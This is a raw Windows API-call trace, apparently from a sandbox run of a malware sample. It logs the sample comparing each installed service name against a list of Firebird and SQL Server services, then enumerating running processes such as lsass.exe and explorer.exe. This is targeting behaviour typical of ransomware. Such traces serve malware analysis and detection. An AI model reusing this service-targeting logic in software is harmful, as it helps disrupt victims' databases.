	[0039.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0039.754] lstrlenW (lpString="lmhosts") returned 7
	[0039.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0039.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0039.754] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0039.754] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0039.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0039.754] lstrlenW (lpString="LSM") returned 3
	[0039.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0039.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0039.754] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0039.754] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0039.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0039.754] lstrlenW (lpString="MpsSvc") returned 6
	[0039.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0039.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0039.755] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0039.755] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0039.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0039.755] lstrlenW (lpString="NcbService") returned 10
	[0039.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0039.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0039.755] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0039.755] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0039.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0039.755] lstrlenW (lpString="netprofm") returned 8
	[0039.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0039.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0039.755] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0039.755] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0039.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0039.755] lstrlenW (lpString="NgcSvc") returned 6
	[0039.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0039.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0039.755] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0039.755] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0039.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0039.755] lstrlenW (lpString="NlaSvc") returned 6
	[0039.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0039.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0039.755] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0039.755] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0039.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0039.755] lstrlenW (lpString="nsi") returned 3
	[0039.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0039.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0039.755] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0039.755] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0039.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0039.755] lstrlenW (lpString="PcaSvc") returned 6
	[0039.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0039.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0039.756] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0039.756] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0039.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0039.756] lstrlenW (lpString="PlugPlay") returned 8
	[0039.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0039.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0039.756] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0039.756] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0039.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0039.756] lstrlenW (lpString="Power") returned 5
	[0039.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0039.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0039.756] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0039.756] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0039.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0039.756] lstrlenW (lpString="ProfSvc") returned 7
	[0039.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0039.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0039.756] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0039.756] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0039.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0039.756] lstrlenW (lpString="RpcEptMapper") returned 12
	[0039.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0039.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0039.756] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0039.756] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0039.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0039.756] lstrlenW (lpString="RpcSs") returned 5
	[0039.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0039.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0039.756] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0039.756] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0039.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0039.756] lstrlenW (lpString="SamSs") returned 5
	[0039.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0039.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0039.756] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0039.756] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0039.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0039.757] lstrlenW (lpString="Schedule") returned 8
	[0039.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0039.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0039.757] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0039.757] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0039.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0039.757] lstrlenW (lpString="SecurityHealthService") returned 21
	[0039.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0039.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0039.757] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0039.757] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0039.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0039.757] lstrlenW (lpString="SENS") returned 4
	[0039.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0039.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0039.757] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0039.757] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0039.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0039.757] lstrlenW (lpString="ShellHWDetection") returned 16
	[0039.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0039.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0039.757] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0039.757] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0039.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0039.757] lstrlenW (lpString="Spooler") returned 7
	[0039.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0039.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0039.757] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0039.757] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0039.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0039.757] lstrlenW (lpString="StateRepository") returned 15
	[0039.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0039.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0039.757] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0039.757] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0039.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0039.758] lstrlenW (lpString="SysMain") returned 7
	[0039.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0039.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0039.758] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0039.758] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0039.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0039.758] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0039.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0039.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0039.758] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0039.758] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0039.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0039.758] lstrlenW (lpString="Themes") returned 6
	[0039.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0039.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0039.758] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0039.758] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0039.758] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x6aca58 | out: hHeap=0x650000) returned 1
	[0039.758] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2a4
	[0039.763] Process32FirstW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0039.764] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0039.765] lstrlenW (lpString="System") returned 6
	[0039.765] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0039.765] lstrlenW (lpString="smss.exe") returned 8
	[0039.765] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0039.766] lstrlenW (lpString="csrss.exe") returned 9
	[0039.766] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0039.767] lstrlenW (lpString="wininit.exe") returned 11
	[0039.767] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0039.858] lstrlenW (lpString="csrss.exe") returned 9
	[0039.858] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0039.859] lstrlenW (lpString="winlogon.exe") returned 12
	[0039.859] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0039.860] lstrlenW (lpString="services.exe") returned 12
	[0039.860] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0039.861] lstrlenW (lpString="lsass.exe") returned 9
	[0039.861] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.861] lstrlenW (lpString="svchost.exe") returned 11
	[0039.861] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0039.862] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0039.862] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0039.863] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0039.863] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.864] lstrlenW (lpString="svchost.exe") returned 11
	[0039.864] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0039.865] lstrlenW (lpString="dwm.exe") returned 7
	[0039.865] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.866] lstrlenW (lpString="svchost.exe") returned 11
	[0039.866] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.867] lstrlenW (lpString="svchost.exe") returned 11
	[0039.867] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.867] lstrlenW (lpString="svchost.exe") returned 11
	[0039.867] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.868] lstrlenW (lpString="svchost.exe") returned 11
	[0039.868] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.869] lstrlenW (lpString="svchost.exe") returned 11
	[0039.869] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.870] lstrlenW (lpString="svchost.exe") returned 11
	[0039.870] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.871] lstrlenW (lpString="svchost.exe") returned 11
	[0039.871] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.871] lstrlenW (lpString="svchost.exe") returned 11
	[0039.871] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.872] lstrlenW (lpString="svchost.exe") returned 11
	[0039.872] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0039.873] lstrlenW (lpString="spoolsv.exe") returned 11
	[0039.873] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.874] lstrlenW (lpString="svchost.exe") returned 11
	[0039.874] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.875] lstrlenW (lpString="svchost.exe") returned 11
	[0039.875] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0039.876] lstrlenW (lpString="audiodg.exe") returned 11
	[0039.876] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0039.876] lstrlenW (lpString="sihost.exe") returned 10
	[0039.876] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0039.877] lstrlenW (lpString="svchost.exe") returned 11
	[0039.877] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0039.877] lstrlenW (lpString="taskhostw.exe") returned 13
	[0039.878] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0039.878] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0039.878] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0039.879] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0039.879] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0039.880] lstrlenW (lpString="explorer.exe") returned 12
	[0039.880] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0039.880] lstrlenW (lpString="Memory Compression") returned 18
	[0039.880] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0039.881] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0039.881] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0039.881] lstrlenW (lpString="SearchUI.exe") returned 12
	[0039.881] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0039.882] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0039.882] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0039.883] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0039.883] Process32NextW (in: hSnapshot=0x2a4, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0039.883] lstrlenW (lpString="taskhostw.exe") returned 13
